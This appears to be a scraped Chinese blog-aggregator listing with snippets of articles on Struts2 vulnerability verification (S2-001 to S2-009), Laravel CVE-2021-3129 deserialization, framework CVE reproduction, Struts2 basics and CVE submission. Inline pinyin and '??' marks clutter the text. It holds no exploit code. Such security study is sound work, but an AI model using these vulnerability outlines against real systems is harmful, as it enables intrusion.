    ??S2-001 ??1、漏洞原理 ??2、影響版本 ??3、驗(yàn)證方法 ??S2-005 ??1、漏洞原理 ??2、影響版本 ??3、驗(yàn)證方法(無(wú)回顯) ??4、驗(yàn)證方法(有回顯) ??S2-007 ??1、漏洞原理 ??2、影響版本 ??3、漏洞驗(yàn)證 ??S2-008 ??1、漏洞原理 ??2、影響版本 ??3、漏洞驗(yàn)證 ??S2-009 ??

    2023年04月09日
    瀏覽(22)
  • java web mvc-02-struts2

    java web mvc-02-struts2

    Spring Web MVC-00-重學(xué) mvc mvc-01-Model-View-Controller 概覽 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails Apache Struts是一個(gè)用于創(chuàng)建優(yōu)雅、現(xiàn)代Java Web應(yīng)用程序的免費(fèi)、開(kāi)源的MVC框架。 struts 我的示例基于maven和struts2文檔。

    2024年01月24日
    瀏覽(36)
  • 框架安全(Laravel、thinkphp、struts2、springboot)

    框架安全(Laravel、thinkphp、struts2、springboot)

    Laravel是一套簡(jiǎn)潔、開(kāi)源的PHP Web開(kāi)發(fā)框架,旨在實(shí)現(xiàn)Web軟件的MVC架構(gòu)。 特征: CVE-2021-3129 Laravel開(kāi)啟了Debug模式時(shí),由于Laravel自帶的Ignition 組件對(duì)file_get_contents()和file_put_contents()函數(shù)的不安全使用,攻擊者可以通過(guò)發(fā)起惡意請(qǐng)求,構(gòu)造惡意Log文件等方式觸發(fā)php反序列化,最終造

    2024年04月14日
    瀏覽(24)
  • 【Java】極簡(jiǎn)的快速入門Struts2知識(shí)清單

    目錄 簡(jiǎn)介 MVC示例 Model層 View層 Controller層 配置文件struts.xml 簡(jiǎn)單開(kāi)發(fā)流程 Struts2 是一個(gè)用于開(kāi)發(fā) Java Web 應(yīng)用程序的開(kāi)源 Web 應(yīng)用程序框架,它是 Struts 框架的升級(jí)版。Struts2 提供了更簡(jiǎn)單、更靈活的方式來(lái)構(gòu)建 Web 應(yīng)用程序,采用了攔截器(Interceptors)等技術(shù)來(lái)處理請(qǐng)求,并且

    2024年02月19日
    瀏覽(21)
  • 框架安全-CVE 復(fù)現(xiàn)&Spring&Struts&Laravel&ThinkPHP漏洞復(fù)現(xiàn)

    框架安全-CVE 復(fù)現(xiàn)&Spring&Struts&Laravel&ThinkPHP漏洞復(fù)現(xiàn)

    中間件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,F(xiàn)lask,jQuery 等 1、開(kāi)發(fā)框架-PHP-Laravel-Thinkphp 2、開(kāi)發(fā)框架-Javaweb-St2-Spring 3、開(kāi)發(fā)框架-Python-django-Flask 4、開(kāi)發(fā)框架-Javascript-Nod

    2024年02月08日
    瀏覽(23)
  • 【Linux問(wèn)題合集001】Linux中如何將用戶添加到sudo組中的步驟

    【Linux問(wèn)題合集001】Linux中如何將用戶添加到sudo組中的步驟

    看教程的前提我的linux當(dāng)前用戶是zhou,看以下步驟時(shí)將zhou看做你的liunx當(dāng)前用戶就行了: 在Linux系統(tǒng)中,root用戶是具有完全系統(tǒng)管理權(quán)限的超級(jí)用戶。要以root用戶身份登錄到系統(tǒng),您可以使用以下方法之一: 切換用戶 如果您當(dāng)前已登錄到系統(tǒng),則可以使用 su 命令(表示“

    2024年02月09日
    瀏覽(17)
  • CVE提交流程(包含漏洞公開(kāi)過(guò)程)

    CVE提交流程(包含漏洞公開(kāi)過(guò)程)

    CVE編號(hào)比較好成功提交,審核時(shí)間大概在一個(gè)月左右。 但是CVE無(wú)法像CNVD一樣給你發(fā)證書(shū),所以作用大小自己權(quán)衡吧。 1、在https://cveform.mitre.org/進(jìn)行CVE漏洞提交,把需要填的內(nèi)容填好就可以了。 2、提交完了之后,五分鐘之內(nèi)cve會(huì)發(fā)一個(gè)郵件,郵件名字是你這個(gè)漏洞的審核編

    2024年02月13日
    瀏覽(13)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包